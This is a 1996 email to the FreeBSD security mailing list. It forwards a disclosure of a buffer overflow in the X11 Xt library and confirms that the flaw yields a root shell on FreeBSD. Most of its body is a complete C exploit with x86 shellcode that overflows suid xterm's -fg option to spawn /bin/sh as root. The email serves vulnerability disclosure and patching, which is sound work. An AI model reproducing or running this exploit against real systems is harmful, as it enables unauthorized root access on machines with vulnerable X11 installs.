From owner-freebsd-security  Sun Aug 25 16:09:59 1996
Return-Path: owner-security
Received: (from root@localhost)
          by freefall.freebsd.org (8.7.5/8.7.3) id QAA19040
          for security-outgoing; Sun, 25 Aug 1996 16:09:59 -0700 (PDT)
Received: from tuminfo2.informatik.tu-muenchen.de (root@tuminfo2.informatik.tu-muenchen.de [131.159.0.81])
          by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id QAA19032
          for <security@freebsd.org>; Sun, 25 Aug 1996 16:09:55 -0700 (PDT)
Received: from hphalle0.informatik.tu-muenchen.de ([131.159.4.1]) by tuminfo2.informatik.tu-muenchen.de with ESMTP id <26557-1>; Mon, 26 Aug 1996 01:09:47 +0200
Received: from hphalle2.informatik.tu-muenchen.de by hphalle0.informatik.tu-muenchen.de id <398680-222>; Mon, 26 Aug 1996 01:09:28 +0100
Subject: Vulnerability in the Xt library (fwd)
From: Stefan `Sec` Zehl <zehl@informatik.tu-muenchen.de>
To: security@freebsd.org
Date: 	Mon, 26 Aug 1996 01:09:11 +0200 (MESZ)
X-URL: http://www.blafasel.de/~sec/
X-Nick: Sec
X-Mailer: ELM [version 2.4 PL24 PGP2]
MIME-Version: 1.0
Content-Type: 	text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
Message-Id: <96Aug26.010928+0100mesz.398680-222+4828@hphalle0.informatik.tu-muenchen.de>
Sender: owner-security@freebsd.org
X-Loop: FreeBSD.org
Precedence: bulk

I can confirm this for Freebsd 2.2-Current, it gives me a euid=0 /bin/sh

hope you can provide a fix :)

CU,
	Sec


Aleph One wrote:

There exists at least one vulnerability in the Xt library caused by a buffer
overrun that allows arbitrary code to be executed. This vulnerability
exists in the Xt library itself. As such all programs linked with it
that are suid root or can be coerced into running as root are vulnerable.
The standard example is of curse suid xterm. The vulnerability has
been confirmed under FreeBSD, Solaris, and as far as we can tell every
single other OS running all revisions of X11.

There exists a large number of places in the Xt library code where buffers
allocated on the stack are handled insecurly other than the one used on the
fallowing exploit. The Xt library is a can of worms.

The original author of this vulnerability is "b0z0 bra1n".

x86 exploit tested under FreeBSD fallows. For other x86 operating systems
play around with the offset:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          0
#define BUFFER_SIZE             1491

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

main(int argc, char **argv)
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   char execshell[] = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2"
   "\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0"
   "\xb0\x3b" "\x8d\x4e\x0b" "\x89\xca" "\x52" "\x51" "\x53" "\x50"
"\xeb\x18"
   "\xe8\xd8\xff\xff\xff" "/bin/sh" "\x01\x01\x01\x01" "\x02\x02\x02\x02"
   "\x03\x03\x03\x03" "\x9a\x04\x04\x04\x04\x07\x04";

   int i, ofs=DEFAULT_OFFSET, bs=BUFFER_SIZE;

   if(argc>1)
        ofs=atoi(argv[1]);
   if(argc>2)
        bs=atoi(argv[2]);
   printf("Using offset of esp + %d (%x)\nBuffer size %d\n",
        ofs, get_esp()+ofs, bs);

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, bs-strlen(execshell));
   ptr += bs-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/X11R6/bin/xterm", "xterm", "-fg", buff, NULL);
}


Aleph One / aleph1@underground.org
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint EE C9 E8 AA CB AF 09 61  8C 39 EA 47 A8 6A B8 01


-- 
Email: sec@leo.org or sec@matrix.muc.de      WWW: http://www.blafasel.de/~sec/
   Phone: 089/3618013 or 0177/2340515                IRC: Sec @ #blafasel
Hi! I'm a .signature virus!  Add me to your .signature and join in the fun!